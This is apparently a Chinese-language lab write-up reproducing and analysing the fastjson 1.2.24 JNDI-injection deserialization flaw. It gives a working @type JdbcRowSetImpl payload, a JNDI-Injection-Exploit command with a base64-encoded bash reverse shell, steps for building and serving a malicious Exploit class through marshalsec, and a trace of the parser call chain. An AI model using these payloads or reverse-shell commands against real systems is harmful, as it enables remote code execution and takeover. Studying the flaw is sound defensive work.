{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://wmqlgxtbil.yutu.eu.org:9999/Exploit", "autoCommit":true}
测试执行
DNS解析记录
利用JNDI工具进行注入
复现流程
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE5My4xMzAvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.193.130"
这里的-A指向的参数是攻击机的IP地址,即我们的JNDI服务端的IP地址
将上述生代的各协议地址去替换POC中的地址
目标机器开启监听
反弹结果如下
成功进入容器
代码
引入依赖
新建一个恶意类
使用命令 javac Exploit.java生成Exploit.class
对恶意的class文件所在的目录开启一个http服务
利用Java反序列化测试包执行如下命令
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/#Exploit 9999
测试fastjson反序列化
public class TestFastJson {public static void main(String[] args) {String payload="{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:9999/Exploit\", \"autoCommit\":true}" ;//JSONObject.parseObject(payload);JSON.parse(payload);}
}
代码分析
跟进parseObject方法
进入parse方法
再次进入parse方法
先判空处理
然后进入DefaultJSONParser方法
继续跟
在DefaultJSONParser方法中:主要是用来判断是以是什么方式开始,默认是以’{'开始,并且设置token为12
执行完DefaultJSONParser之后,进入parser.parse()
跟进这里的parse方法
这里根据token为12,然后case跳转至:
进入parseObject方法
这里会通过默认的"{"来获取到第一个参数也就是@type
到这里的时候就回去判断key是不是@type,如果是@type就回去进行检测并且去反序列化类
然后就会到TypeUtils.loadClass
注意在这里会判断开始是不是以'['开头
接着会检查是不是以'L'开头
接着就会删除"L" ,然后继续走loadCLass,会利用类加载器去加载我们指定的类
TypeUtils.loadClass执行结束之后,最后到getDeserializer
然后到deserializer.deserialze反序列化
接着进入之后,主要反序列化的位置在
fastjson\1.2.24\fastjson-1.2.24.jar!\com\alibaba\fastjson\parser\deserializer\JavaBeanDeserializer.class
跟进parseField
然后这里非常重要的就是有一个smartMatch,这个smartMatch会进行一个通用匹配,可以匹配_开始以及-开始的变量:这个对另外一个调用链有用。
进入smartMatch方法之后
可以匹配_开始以及-开始的变量
接着会去调用setValue
从而触发set方法
为field字段设置值,原理就是利用那个类加载器反射创建的类,进行反序列化获取字段,在调用setvalue去设置值
链路如下:parse触发--》parseObject--》TypeUtils.loadClass--》deserialze(类)--》parseField(解析字段)--》smartMeth(设置字段值)
各版本通用的POC参考:FastJson各版本通杀POC · 语雀